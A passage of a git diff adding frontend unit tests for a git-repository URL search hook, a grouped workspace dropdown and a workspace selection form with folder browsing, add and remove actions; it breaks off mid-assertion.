+      });
+
+      expect(mockSearchGitRepositories).not.toHaveBeenCalled();
+      expect(result.current.urlSearchResults).toEqual([]);
+      expect(result.current.isUrlSearchLoading).toBe(false);
+    });
+
+    it("should clear results when provider becomes null", async () => {
+      mockSearchGitRepositories.mockResolvedValue({
+        items: [
+          { id: "1", full_name: "owner/repo", git_provider: "github", is_public: true },
+        ],
+        next_page_id: null,
+      });
+
+      type TestProps = { inputValue: string; provider: "github" | null };
+
+      const { result, rerender } = renderHook(
+        ({ inputValue, provider }: TestProps) => useUrlSearch(inputValue, provider),
+        {
+          initialProps: {
+            inputValue: "https://github.com/owner/repo",
+            provider: "github",
+          } as TestProps,
+        },
+      );
+
+      // Wait for initial search to complete
+      await waitFor(() => {
+        expect(result.current.urlSearchResults).toHaveLength(1);
+      });
+
+      // Change provider to null
+      rerender({
+        inputValue: "https://github.com/owner/repo",
+        provider: null,
+      });
+
+      // Results should be cleared
+      await waitFor(() => {
+        expect(result.current.urlSearchResults).toEqual([]);
+      });
+    });
+  });
+
+  describe("URL search behavior", () => {
+    it("should call GitService when input is a valid URL and provider is set", async () => {
+      mockSearchGitRepositories.mockResolvedValue({
+        items: [
+          { id: "1", full_name: "owner/repo", git_provider: "github", is_public: true },
+        ],
+        next_page_id: null,
+      });
+
+      const { result } = renderHook(() =>
+        useUrlSearch("https://github.com/owner/repo", "github"),
+      );
+
+      await waitFor(() => {
+        expect(mockSearchGitRepositories).toHaveBeenCalledWith(
+          "owner/repo",
+          "github",
+          3,
+        );
+      });
+
+      await waitFor(() => {
+        expect(result.current.urlSearchResults).toHaveLength(1);
+        expect(result.current.urlSearchResults[0].full_name).toBe("owner/repo");
+      });
+    });
+
+    it("should not call GitService when input is not a URL", async () => {
+      const { result } = renderHook(() =>
+        useUrlSearch("some search query", "github"),
+      );
+
+      // Wait a tick for the effect to run
+      await act(async () => {
+        await new Promise((resolve) => {
+          setTimeout(resolve, 10);
+        });
+      });
+
+      expect(mockSearchGitRepositories).not.toHaveBeenCalled();
+      expect(result.current.urlSearchResults).toEqual([]);
+    });
+
+    it("should not call GitService when URL does not match repo pattern", async () => {
+      const { result } = renderHook(() =>
+        useUrlSearch("https://github.com/", "github"),
+      );
+
+      // Wait a tick for the effect to run
+      await act(async () => {
+        await new Promise((resolve) => {
+          setTimeout(resolve, 10);
+        });
+      });
+
+      expect(mockSearchGitRepositories).not.toHaveBeenCalled();
+      expect(result.current.urlSearchResults).toEqual([]);
+    });
+
+    it("should handle API errors gracefully", async () => {
+      mockSearchGitRepositories.mockRejectedValue(new Error("API Error"));
+
+      const { result } = renderHook(() =>
+        useUrlSearch("https://github.com/owner/repo", "github"),
+      );
+
+      await waitFor(() => {
+        expect(mockSearchGitRepositories).toHaveBeenCalled();
+      });
+
+      // Should return empty results on error
+      await waitFor(() => {
+        expect(result.current.urlSearchResults).toEqual([]);
+        expect(result.current.isUrlSearchLoading).toBe(false);
+      });
+    });
+
+    it("should set loading state correctly during search", async () => {
+      let resolveSearch: (value: unknown) => void;
+      const searchPromise = new Promise((resolve) => {
+        resolveSearch = resolve;
+      });
+
+      mockSearchGitRepositories.mockReturnValue(searchPromise as Promise<{
+        items: [];
+        next_page_id: null;
+      }>);
+
+      const { result } = renderHook(() =>
+        useUrlSearch("https://github.com/owner/repo", "github"),
+      );
+
+      // Should be loading
+      await waitFor(() => {
+        expect(result.current.isUrlSearchLoading).toBe(true);
+      });
+
+      // Resolve the search
+      await act(async () => {
+        resolveSearch!({ items: [], next_page_id: null });
+      });
+
+      // Should no longer be loading
+      await waitFor(() => {
+        expect(result.current.isUrlSearchLoading).toBe(false);
+      });
+    });
+  });
+
+  describe("clear results on non-URL input", () => {
+    it("should clear results when input changes from URL to non-URL", async () => {
+      mockSearchGitRepositories.mockResolvedValue({
+        items: [
+          { id: "1", full_name: "owner/repo", git_provider: "github", is_public: true },
+        ],
+        next_page_id: null,
+      });
+
+      const { result, rerender } = renderHook(
+        ({ inputValue, provider }) => useUrlSearch(inputValue, provider),
+        {
+          initialProps: {
+            inputValue: "https://github.com/owner/repo",
+            provider: "github" as const,
+          },
+        },
+      );
+
+      // Wait for initial search to complete
+      await waitFor(() => {
+        expect(result.current.urlSearchResults).toHaveLength(1);
+      });
+
+      // Change to non-URL input
+      rerender({
+        inputValue: "some search",
+        provider: "github" as const,
+      });
+
+      // Results should be cleared
+      await waitFor(() => {
+        expect(result.current.urlSearchResults).toEqual([]);
+      });
+    });
+  });
+  it("should clear prior results when an HTTPS URL does not match repo pattern", async () => {
+    mockSearchGitRepositories.mockResolvedValue({
+      items: [
+        {
+          id: "1",
+          full_name: "owner/repo",
+          git_provider: "github",
+          is_public: true,
+        },
+      ],
+      next_page_id: null,
+    });
+
+    const { result, rerender } = renderHook(
+      ({ inputValue, provider }) => useUrlSearch(inputValue, provider),
+      {
+        initialProps: {
+          inputValue: "https://github.com/owner/repo",
+          provider: "github" as const,
+        },
+      },
+    );
+
+    await waitFor(() => {
+      expect(result.current.urlSearchResults).toHaveLength(1);
+    });
+
+    rerender({
+      inputValue: "https://example.com/",
+      provider: "github" as const,
+    });
+
+    await waitFor(() => {
+      expect(result.current.urlSearchResults).toEqual([]);
+    });
+
+    // Only the initial search for owner/repo should have triggered a call;
+    // the non-matching HTTPS URL must not issue a second request.
+    expect(mockSearchGitRepositories).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/__tests__/components/features/home/workspace-dropdown.test.tsx b/__tests__/components/features/home/workspace-dropdown.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..9e2b0fb0c2e9603087820bea52149a093ec8f631
--- /dev/null
+++ b/__tests__/components/features/home/workspace-dropdown.test.tsx
@@ -0,0 +1,264 @@
+import type { ComponentProps } from "react";
+import { render, screen, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+
+import { WorkspaceDropdown } from "../../../../src/components/features/home/workspace-dropdown/workspace-dropdown";
+import type { LocalWorkspace, LocalWorkspaceParent } from "#/types/workspace";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({ t: (key: string) => key }),
+}));
+
+// Two parents whose NAMES deliberately differ from their path basenames, so a
+// passing assertion proves the header uses the parent name (not basename-of-path).
+const PARENTS: LocalWorkspaceParent[] = [
+  { id: "p1", name: "Projects", path: "/projects" },
+  { id: "p2", name: "My Work", path: "/work" },
+];
+
+const GROUPED_WORKSPACES: LocalWorkspace[] = [
+  {
+    id: "/projects/alpha",
+    name: "alpha",
+    path: "/projects/alpha",
+    parentPath: "/projects",
+  },
+  { id: "/work/beta", name: "beta", path: "/work/beta", parentPath: "/work" },
+  {
+    id: "/projects/gamma",
+    name: "gamma",
+    path: "/projects/gamma",
+    parentPath: "/projects",
+  },
+];
+
+function renderDropdown(
+  props: Partial<ComponentProps<typeof WorkspaceDropdown>> = {},
+) {
+  const onChange = vi.fn();
+  render(
+    <WorkspaceDropdown
+      workspaces={GROUPED_WORKSPACES}
+      parents={PARENTS}
+      value={null}
+      onChange={onChange}
+      onAddClick={vi.fn()}
+      onManageClick={vi.fn()}
+      {...props}
+    />,
+  );
+  return { onChange };
+}
+
+async function openMenu(user: ReturnType<typeof userEvent.setup>) {
+  const input = screen.getByTestId("workspace-dropdown");
+  await user.click(input);
+  return screen.findByTestId("workspace-dropdown-menu");
+}
+
+describe("WorkspaceDropdown grouping (#129)", () => {
+  it("renders a header with the parent's NAME (not the path basename) per group", async () => {
+    const user = userEvent.setup();
+    renderDropdown();
+    const menu = await openMenu(user);
+
+    const headers = within(menu).getAllByTestId("workspace-group-header");
+    const headerText = headers.map((h) => h.textContent);
+    expect(headerText).toContain("Projects"); // not "projects"
+    expect(headerText).toContain("My Work"); // not "work"
+  });
+
+  it("groups every folder under its parent and shows all folders", async () => {
+    const user = userEvent.setup();
+    renderDropdown();
+    const menu = await openMenu(user);
+
+    expect(within(menu).getByText("alpha")).toBeInTheDocument();
+    expect(within(menu).getByText("beta")).toBeInTheDocument();
+    expect(within(menu).getByText("gamma")).toBeInTheDocument();
+    // alpha and gamma (both /projects) render contiguously, before beta's group
+    // boundary is crossed — exactly one header per distinct parent.
+    expect(within(menu).getAllByTestId("workspace-group-header")).toHaveLength(
+      2,
+    );
+  });
+
+  it("keyboard navigation skips headers: ArrowDown+Enter selects a real folder", async () => {
+    const user = userEvent.setup();
+    const { onChange } = renderDropdown();
+    await openMenu(user);
+
+    await user.keyboard("{ArrowDown}{Enter}");
+
+    // A header must never be selectable; the first highlight lands on a workspace.
+    expect(onChange).toHaveBeenCalledTimes(1);
+    const selected = onChange.mock.calls[0][0] as LocalWorkspace | null;
+    expect(selected).not.toBeNull();
+    expect(GROUPED_WORKSPACES.map((w) => w.id)).toContain(selected?.id);
+  });
+
+  it("does NOT render headers when there is only one group (flat fallback)", async () => {
+    const user = userEvent.setup();
+    renderDropdown({
+      workspaces: [
+        {
+          id: "/projects/alpha",
+          name: "alpha",
+          path: "/projects/alpha",
+          parentPath: "/projects",
+        },
+        {
+          id: "/projects/gamma",
+          name: "gamma",
+          path: "/projects/gamma",
+          parentPath: "/projects",
+        },
+      ],
+    });
+    const menu = await openMenu(user);
+
+    expect(within(menu).queryByTestId("workspace-group-header")).toBeNull();
+    expect(within(menu).getByText("alpha")).toBeInTheDocument();
+    expect(within(menu).getByText("gamma")).toBeInTheDocument();
+  });
+
+  it("groups static (no-parent) workspaces under their own header", async () => {
+    const user = userEvent.setup();
+    renderDropdown({
+      workspaces: [
+        {
+          id: "/projects/alpha",
+          name: "alpha",
+          path: "/projects/alpha",
+          parentPath: "/projects",
+        },
+        { id: "/standalone", name: "standalone", path: "/standalone" }, // no parentPath
+      ],
+    });
+    const menu = await openMenu(user);
+
+    const headers = within(menu).getAllByTestId("workspace-group-header");
+    // one header for the named parent, one for the static group
+    expect(headers).toHaveLength(2);
+    expect(within(menu).getByText("Projects")).toBeInTheDocument();
+    expect(within(menu).getByText("standalone")).toBeInTheDocument();
+  });
+
+  it("labels the static group with the HOME$WORKSPACE_GROUP_OTHER i18n key", async () => {
+    const user = userEvent.setup();
+    renderDropdown({
+      workspaces: [
+        {
+          id: "/projects/alpha",
+          name: "alpha",
+          path: "/projects/alpha",
+          parentPath: "/projects",
+        },
+        { id: "/standalone", name: "standalone", path: "/standalone" },
+      ],
+    });
+    const menu = await openMenu(user);
+
+    // `t` is mocked to echo the key, so this pins the i18n wiring.
+    expect(
+      within(menu).getByText("HOME$WORKSPACE_GROUP_OTHER"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders the static 'Other' group last, even when a standalone appears first", async () => {
+    const user = userEvent.setup();
+    renderDropdown({
+      workspaces: [
+        { id: "/loose", name: "loose", path: "/loose" }, // standalone, appears FIRST
+        {
+          id: "/work/beta",
+          name: "beta",
+          path: "/work/beta",
+          parentPath: "/work",
+        },
+      ],
+      parents: [{ id: "p2", name: "My Work", path: "/work" }],
+    });
+    const menu = await openMenu(user);
+
+    const headerText = within(menu)
+      .getAllByTestId("workspace-group-header")
+      .map((h) => h.textContent);
+    expect(headerText).toEqual(["My Work", "HOME$WORKSPACE_GROUP_OTHER"]);
+  });
+
+  it("falls back to the path basename when a folder's parent is absent from `parents`", async () => {
+    const user = userEvent.setup();
+    renderDropdown({
+      workspaces: [
+        {
+          id: "/work/beta",
+          name: "beta",
+          path: "/work/beta",
+          parentPath: "/work",
+        },
+        {
+          id: "/unknown/x",
+          name: "x",
+          path: "/unknown/x",
+          parentPath: "/unknown",
+        },
+      ],
+      parents: [{ id: "p2", name: "My Work", path: "/work" }], // /unknown intentionally absent
+    });
+    const menu = await openMenu(user);
+
+    const headerText = within(menu)
+      .getAllByTestId("workspace-group-header")
+      .map((h) => h.textContent);
+    expect(headerText).toContain("My Work");
+    expect(headerText).toContain("unknown"); // basename of /unknown
+  });
+
+  it("folds the group label into each option's accessible name (a11y)", async () => {
+    const user = userEvent.setup();
+    renderDropdown();
+    const menu = await openMenu(user);
+
+    // The visual header is presentational; the group lives in each option's name.
+    expect(
+      within(menu).getByRole("option", { name: "Projects, alpha" }),
+    ).toBeInTheDocument();
+    expect(
+      within(menu).getByRole("option", { name: "My Work, beta" }),
+    ).toBeInTheDocument();
+  });
+
+  it("stays flat (no headers) for an all-standalone list with no parents", async () => {
+    const user = userEvent.setup();
+    renderDropdown({
+      parents: undefined, // exercises the single STATIC_GROUP_KEY group path
+      workspaces: [
+        { id: "/a", name: "a", path: "/a" },
+        { id: "/b", name: "b", path: "/b" },
+      ],
+    });
+    const menu = await openMenu(user);
+
+    expect(within(menu).queryByTestId("workspace-group-header")).toBeNull();
+    expect(within(menu).getByText("a")).toBeInTheDocument();
+    expect(within(menu).getByText("b")).toBeInTheDocument();
+  });
+
+  it("does not set an aria-label on options in flat (ungrouped) mode", async () => {
+    const user = userEvent.setup();
+    renderDropdown({
+      parents: undefined,
+      workspaces: [
+        { id: "/a", name: "a", path: "/a" },
+        { id: "/b", name: "b", path: "/b" },
+      ],
+    });
+    const menu = await openMenu(user);
+
+    // No grouping → the option's accessible name is just its display text.
+    const option = within(menu).getByRole("option", { name: "a" });
+    expect(option).not.toHaveAttribute("aria-label");
+  });
+});
diff --git a/__tests__/components/features/home/workspace-selection-form.test.tsx b/__tests__/components/features/home/workspace-selection-form.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..21b527417b3034539db781d688b49e87d6972b9c
--- /dev/null
+++ b/__tests__/components/features/home/workspace-selection-form.test.tsx
@@ -0,0 +1,654 @@
+import {
+  fireEvent,
+  render,
+  screen,
+  waitFor,
+  within,
+} from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, vi, beforeEach, it } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import {
+  HOME_SELECTED_WORKSPACE_PATH_KEY,
+  WorkspaceSelectionForm,
+} from "../../../../src/components/features/home/workspace-selection-form";
+import { WorkspaceDropdown } from "../../../../src/components/features/home/workspace-dropdown/workspace-dropdown";
+import WorkspacesService from "#/api/workspaces-service/workspaces-service.api";
+import { LocalWorkspace, LocalWorkspaceParent } from "#/types/workspace";
+
+const mockNavigate = vi.fn();
+const mockUseIsCreatingConversation = vi.fn();
+
+const { mockSearchSubdirectories, mockGetHome } = vi.hoisted(() => ({
+  mockSearchSubdirectories: vi.fn(),
+  mockGetHome: vi.fn(),
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({ t: (key: string) => key }),
+}));
+
+vi.mock("#/context/navigation-context", () => ({
+  useNavigation: () => ({
+    currentPath: "/",
+    conversationId: null,
+    isNavigating: false,
+    navigate: mockNavigate,
+  }),
+}));
+
+vi.mock("#/hooks/use-is-creating-conversation", () => ({
+  useIsCreatingConversation: () => mockUseIsCreatingConversation(),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackConversationCreated: vi.fn(),
+    trackLoginButtonClick: vi.fn(),
+  }),
+}));
+
+vi.mock("@openhands/typescript-client/clients", async () => {
+  const actual = await vi.importActual<
+    typeof import("@openhands/typescript-client/clients")
+  >("@openhands/typescript-client/clients");
+  return {
+    ...actual,
+    FileClient: vi.fn(function FileClientMock() {
+      return {
+        searchSubdirectories: mockSearchSubdirectories,
+        getHome: mockGetHome,
+      };
+    }),
+  };
+});
+
+mockUseIsCreatingConversation.mockReturnValue(false);
+
+function renderForm({
+  workspaces = [],
+  workspaceParents = [],
+}: {
+  workspaces?: LocalWorkspace[];
+  workspaceParents?: LocalWorkspaceParent[];
+} = {}) {
+  vi.spyOn(WorkspacesService, "listWorkspaces").mockResolvedValue({
+    workspaces,
+    workspaceParents,
+  });
+  return render(<WorkspaceSelectionForm />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={
+          new QueryClient({
+            defaultOptions: {
+              queries: { retry: false },
+              mutations: { retry: false },
+            },
+          })
+        }
+      >
+        {children}
+      </QueryClientProvider>
+    ),
+  });
+}
+
+async function openWorkspaceDropdown(user: ReturnType<typeof userEvent.setup>) {
+  const dropdown = await screen.findByTestId("workspace-dropdown");
+  await waitFor(() => expect(dropdown).not.toBeDisabled());
+  await user.click(dropdown);
+  return screen.findByTestId("workspace-dropdown-menu");
+}
+
+describe("WorkspaceDropdown", () => {
+  it.each([
+    {
+      testId: "add-workspaces-button",
+      expectedCallback: "add",
+    },
+    {
+      testId: "manage-workspaces-button",
+      expectedCallback: "manage",
+    },
+  ])(
+    "opens $expectedCallback workspace action from touch without bubbling",
+    async ({ testId, expectedCallback }) => {
+      const outsideTouchEnd = vi.fn();
+      const onAddClick = vi.fn();
+      const onManageClick = vi.fn();
+      const user = userEvent.setup();
+
+      render(
+        <div onTouchEnd={outsideTouchEnd}>
+          <WorkspaceDropdown
+            workspaces={[
+              {
+                id: "/Users/me/dev/repo1",
+                name: "repo1",
+                path: "/Users/me/dev/repo1",
+              },
+            ]}
+            value={null}
+            onChange={vi.fn()}
+            onAddClick={onAddClick}
+            onManageClick={onManageClick}
+          />
+        </div>,
+      );
+
+      await user.click(await screen.findByTestId("workspace-dropdown"));
+      const action = await screen.findByTestId(testId);
+
+      fireEvent.touchStart(action);
+      fireEvent.touchEnd(action);
+
+      expect(outsideTouchEnd).not.toHaveBeenCalled();
+      expect(onAddClick).toHaveBeenCalledTimes(
+        expectedCallback === "add" ? 1 : 0,
+      );
+      expect(onManageClick).toHaveBeenCalledTimes(
+        expectedCallback === "manage" ? 1 : 0,
+      );
+    },
+  );
+});
+
+describe("WorkspaceSelectionForm (server-backed workspaces)", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    mockNavigate.mockReset();
+    mockSearchSubdirectories.mockReset();
+    mockGetHome.mockReset();
+    window.sessionStorage.clear();
+    mockUseIsCreatingConversation.mockReturnValue(false);
+    mockGetHome.mockResolvedValue({ home: "/Users/me" });
+    // useResolvedWorkspaces always queries an implicit `/projects` parent in
+    // dev mode — return empty so it doesn't influence tests that don't care.
+    mockSearchSubdirectories.mockResolvedValue({
+      items: [],
+      next_page_id: null,
+    });
+  });
+
+  it("renders the default empty selection when no workspace path is persisted", async () => {
+    renderForm({
+      workspaces: [
+        {
+          id: "/Users/me/dev/repo1",
+          name: "repo1",
+          path: "/Users/me/dev/repo1",
+        },
+      ],
+    });
+
+    const dropdown = await screen.findByTestId("workspace-dropdown");
+    await waitFor(() => expect(dropdown).not.toBeDisabled());
+
+    expect(dropdown).toHaveValue("");
+    expect(screen.getByTestId("workspace-launch-button")).toBeDisabled();
+    expect(
+      window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+    ).toBeNull();
+  });
+
+  it("renders workspaces returned by the agent-server in the dropdown", async () => {
+    // Arrange
+    renderForm({
+      workspaces: [
+        {
+          id: "/Users/me/dev/repo1",
+          name: "repo1",
+          path: "/Users/me/dev/repo1",
+        },
+      ],
+    });
+    const user = userEvent.setup();
+
+    // Act
+    const menu = await openWorkspaceDropdown(user);
+
+    // Assert
+    expect(await within(menu).findByText("repo1")).toBeInTheDocument();
+  });
+
+  it("renders parent-derived workspaces from all paginated folders", async () => {
+    const workspaceParent = {
+      id: "/Users/me/dev",
+      name: "dev",
+      path: "/Users/me/dev",
+    };
+    mockSearchSubdirectories.mockImplementation(
+      async (path: string, options?: { pageId?: string | null }) => {
+        if (path === workspaceParent.path && !options?.pageId) {
+          return {
+            items: [{ name: "alpha", path: "/Users/me/dev/alpha" }],
+            next_page_id: "page-2",
+          };
+        }
+        if (path === workspaceParent.path && options?.pageId === "page-2") {
+          return {
+            items: [{ name: "paper", path: "/Users/me/dev/paper" }],
+            next_page_id: null,
+          };
+        }
+        return { items: [], next_page_id: null };
+      },
+    );
+    renderForm({ workspaceParents: [workspaceParent] });
+    const user = userEvent.setup();
+
+    const menu = await openWorkspaceDropdown(user);
+
+    expect(await within(menu).findByText("alpha")).toBeInTheDocument();
+    expect(await within(menu).findByText("paper")).toBeInTheDocument();
+    expect(mockSearchSubdirectories).toHaveBeenCalledWith(
+      workspaceParent.path,
+      undefined,
+    );
+    expect(mockSearchSubdirectories).toHaveBeenCalledWith(
+      workspaceParent.path,
+      {
+        pageId: "page-2",
+      },
+    );
+  });
+
+  it("restores the selected workspace after unmounting and remounting", async () => {
+    const workspace = {
+      id: "/Users/me/dev/repo1",
+      name: "repo1",
+      path: "/Users/me/dev/repo1",
+    };
+    const user = userEvent.setup();
+
+    const { unmount } = renderForm({ workspaces: [workspace] });
+    const firstMenu = await openWorkspaceDropdown(user);
+    await user.click(await within(firstMenu).findByText("repo1"));
+
+    await waitFor(() =>
+      expect(
+        window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+      ).toBe(workspace.path),
+    );
+    expect(screen.getByTestId("workspace-launch-button")).not.toBeDisabled();
+
+    unmount();
+    renderForm({ workspaces: [workspace] });
+
+    await waitFor(() =>
+      expect(screen.getByTestId("workspace-dropdown")).toHaveValue("repo1"),
+    );
+    expect(screen.getByTestId("workspace-launch-button")).not.toBeDisabled();
+  });
+
+  it("clears a persisted workspace path that is no longer resolved", async () => {
+    window.sessionStorage.setItem(
+      HOME_SELECTED_WORKSPACE_PATH_KEY,
+      "/Users/me/dev/missing",
+    );
+
+    renderForm({
+      workspaces: [
+        {
+          id: "/Users/me/dev/repo1",
+          name: "repo1",
+          path: "/Users/me/dev/repo1",
+        },
+      ],
+    });
+
+    await waitFor(() =>
+      expect(
+        window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+      ).toBeNull(),
+    );
+    expect(screen.getByTestId("workspace-dropdown")).toHaveValue("");
+    expect(screen.getByTestId("workspace-launch-button")).toBeDisabled();
+  });
+
+  it("shows a version-specific workspace message for old agent servers", async () => {
+    vi.spyOn(WorkspacesService, "listWorkspaces").mockRejectedValue({
+      code: "AGENT_SERVER_VERSION_TOO_OLD",
+      feature: "workspaces",
+      requiredVersion: "1.23.0",
+      actualVersion: "1.22.1",
+    });
+
+    render(<WorkspaceSelectionForm />, {
+      wrapper: ({ children }) => (
+        <QueryClientProvider
+          client={
+            new QueryClient({
+              defaultOptions: {
+                queries: { retry: false },
+                mutations: { retry: false },
+              },
+            })
+          }
+        >
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await waitFor(() =>
+      expect(screen.getByTestId("workspace-dropdown")).toBeDisabled(),
+    );
+    await waitFor(() =>
+      expect(screen.getByTestId("workspace-dropdown")).toHaveAttribute(
+        "placeholder",
+        "HOME$WORKSPACES_UNSUPPORTED_PLACEHOLDER",
+      ),
+    );
+    expect(screen.getByTestId("workspace-status-message")).toHaveTextContent(
+      "HOME$WORKSPACES_UNSUPPORTED_AGENT_SERVER",
+    );
+  });
+
+  it("Add Workspace dispatches addWorkspaces to the agent-server", async () => {
+    // Arrange
+    const addSpy = vi
+      .spyOn(WorkspacesService, "addWorkspaces")
+      .mockResolvedValue({ workspaces: [], workspaceParents: [] });
+    mockSearchSubdirectories.mockImplementation(async (path: string) => {
+      if (path === "/Users/me") {
+        return {
+          items: [{ name: "dev", path: "/Users/me/dev" }],
+          next_page_id: null,
+        };
+      }
+      return { items: [], next_page_id: null };
+    });
+    renderForm();
+    const user = userEvent.setup();
+
+    // Act
+    await user.click(await screen.findByTestId("workspace-dropdown"));
+    await user.click(await screen.findByTestId("add-workspaces-button"));
+    await screen.findByTestId("folder-browser-modal");
+    await user.click(await screen.findByTestId("folder-browser-entry-dev"));
+    await user.click(screen.getByTestId("folder-browser-use"));
+
+    // Assert
+    await waitFor(() => expect(addSpy).toHaveBeenCalledTimes(1));
+    expect(addSpy).toHaveBeenCalledWith([
+      { id: "/Users/me/dev", name: "dev", path: "/Users/me/dev" },
+    ]);
+  });
+
+  it("shows all paginated folders in the Add Workspace browser", async () => {
+    mockSearchSubdirectories.mockImplementation(
+      async (path: string, options?: { pageId?: string | null }) => {
+        if (path === "/Users/me" && !options?.pageId) {
+          return {
+            items: [{ name: "alpha", path: "/Users/me/alpha" }],
+            next_page_id: "page-2",
+          };
+        }
+        if (path === "/Users/me" && options?.pageId === "page-2") {
+          return {
+            items: [
+              { name: "paper", path: "/Users/me/paper" },
+              { name: "zeta", path: "/Users/me/zeta" },
+            ],
+            next_page_id: null,
+          };
+        }
+        return { items: [], next_page_id: null };
+      },
+    );
+    renderForm();
+    const user = userEvent.setup();
+
+    await user.click(await screen.findByTestId("workspace-dropdown"));
+    await user.click(await screen.findByTestId("add-workspaces-button"));
+    await screen.findByTestId("folder-browser-modal");
+
+    expect(
+      await screen.findByTestId("folder-browser-entry-alpha"),
+    ).toBeVisible();
+    expect(
+      await screen.findByTestId("folder-browser-entry-paper"),
+    ).toBeVisible();
+    expect(
+      await screen.findByTestId("folder-browser-entry-zeta"),
+    ).toBeVisible();
+    expect(mockSearchSubdirectories).toHaveBeenCalledWith(
+      "/Users/me",
+      undefined,
+    );
+    expect(mockSearchSubdirectories).toHaveBeenCalledWith("/Users/me", {
+      pageId: "page-2",
+    });
+  });
+
+  it("handles Windows paths when browsing and adding a workspace", async () => {
+    const homePath = String.raw`C:\Users\me`;
+    const devPath = String.raw`C:\Users\me\dev`;
+    const addSpy = vi
+      .spyOn(WorkspacesService, "addWorkspaces")
+      .mockResolvedValue({ workspaces: [], workspaceParents: [] });
+    mockGetHome.mockResolvedValue({ home: homePath });
+    mockSearchSubdirectories.mockImplementation(async (dir: string) => {
+      if (dir === homePath) {
+        return {
+          items: [{ name: "dev", path: devPath }],
+          next_page_id: null,
+        };
+      }
+      return { items: [], next_page_id: null };
+    });
+    renderForm();
+    const user = userEvent.setup();
+
+    await user.click(await screen.findByTestId("workspace-dropdown"));
+    await user.click(await screen.findByTestId("add-workspaces-button"));
+    await screen.findByTestId("folder-browser-modal");
+    await expect(
+      screen.getByTestId("folder-browser-current-path"),
+    ).toHaveTextContent(homePath);
+
+    await user.click(await screen.findByTestId("folder-browser-entry-dev"));
+    await expect(
+      screen.getByTestId("folder-browser-current-path"),
+    ).toHaveTextContent(devPath);
+
+    await user.click(screen.getByTestId("folder-browser-up"));
+    await expect(
+      screen.getByTestId("folder-browser-current-path"),
+    ).toHaveTextContent(homePath);
+
+    await user.click(await screen.findByTestId("folder-browser-entry-dev"));
+    await user.click(screen.getByTestId("folder-browser-use"));
+
+    await waitFor(() => expect(addSpy).toHaveBeenCalledTimes(1));
+    expect(addSpy).toHaveBeenCalledWith([
+      { id: devPath, name: "dev", path: devPath },
+    ]);
+  });
+
+  it("auto-selects the newly added workspace after Add Workspace", async () => {
+    // Arrange: start with another workspace already selected, mirroring the
+    // repro in OpenHands/agent-canvas#1212.
+    const existingWorkspace = {
+      id: "/Users/me/dev/repo1",
+      name: "repo1",
+      path: "/Users/me/dev/repo1",
+    };
+    const addedWorkspace = {
+      id: "/Users/me/dev",
+      name: "dev",
+      path: "/Users/me/dev",
+    };
+    const addSpy = vi
+      .spyOn(WorkspacesService, "addWorkspaces")
+      .mockImplementation(async (items) => {
+        // Mimic the server: once added, the list endpoint includes the new
+        // workspace so the post-add refetch resolves it.
+        const workspaces = [existingWorkspace, ...items];
+        vi.spyOn(WorkspacesService, "listWorkspaces").mockResolvedValue({
+          workspaces,
+          workspaceParents: [],
+        });
+        return { workspaces, workspaceParents: [] };
+      });
+    mockSearchSubdirectories.mockImplementation(async (path: string) => {
+      if (path === "/Users/me") {
+        return {
+          items: [{ name: "dev", path: "/Users/me/dev" }],
+          next_page_id: null,
+        };
+      }
+      return { items: [], next_page_id: null };
+    });
+    renderForm({ workspaces: [existingWorkspace] });
+    const user = userEvent.setup();
+
+    const selectionMenu = await openWorkspaceDropdown(user);
+    await user.click(await within(selectionMenu).findByText("repo1"));
+    await waitFor(() =>
+      expect(
+        window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+      ).toBe(existingWorkspace.path),
+    );
+
+    // Act
+    await openWorkspaceDropdown(user);
+    await user.click(await screen.findByTestId("add-workspaces-button"));
+    await screen.findByTestId("folder-browser-modal");
+    await user.click(await screen.findByTestId("folder-browser-entry-dev"));
+    await user.click(screen.getByTestId("folder-browser-use"));
+
+    // Assert
+    await waitFor(() => expect(addSpy).toHaveBeenCalledTimes(1));
+    await waitFor(() =>
+      expect(screen.getByTestId("workspace-dropdown")).toHaveValue(
+        addedWorkspace.name,
+      ),
+    );
+    expect(
+      window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+    ).toBe(addedWorkspace.path);
+    expect(screen.getByTestId("workspace-launch-button")).not.toBeDisabled();
+  });
+
+  it("Remove Workspace dispatches removeWorkspace and clears the selected workspace", async () => {
+    // Arrange
+    const removeSpy = vi
+      .spyOn(WorkspacesService, "removeWorkspace")
+      .mockResolvedValue();
+    const workspace = {
+      id: "/Users/me/dev/repo1",
+      name: "repo1",
+      path: "/Users/me/dev/repo1",
+    };
+    renderForm({
+      workspaces: [workspace],
+    });
+    const user = userEvent.setup();
+
+    // Act
+    const selectionMenu = await openWorkspaceDropdown(user);
+    await user.click(await within(selectionMenu).findByText("repo1"));
+    await waitFor(() =>
+      expect(
+        window.sessionStorage.getItem(HOME_SELECTED_WORKSPACE_PATH_KEY),
+      ).toBe(workspace.path),
+    );
+
+    await openWorkspaceDropdown(user);
+    await user.click(await screen.findByTestId("manage-workspaces-button"));
+    await screen.findByTestId("manage-workspaces-modal");
+    await user.click(screen.getByTestId("manage-workspaces-remove-repo1"));
+    await screen.findByTestId("confirmation-modal");
+    await user.click(screen.getByTestId("confirm-button"));
+
+    // Assert
+    await waitFor(() => expect(removeSpy).toHaveBeenCalledTimes(1));
+    expect(removeSpy).toHaveBeenCalledWith("/Users/me/dev/repo1");
+    expect(
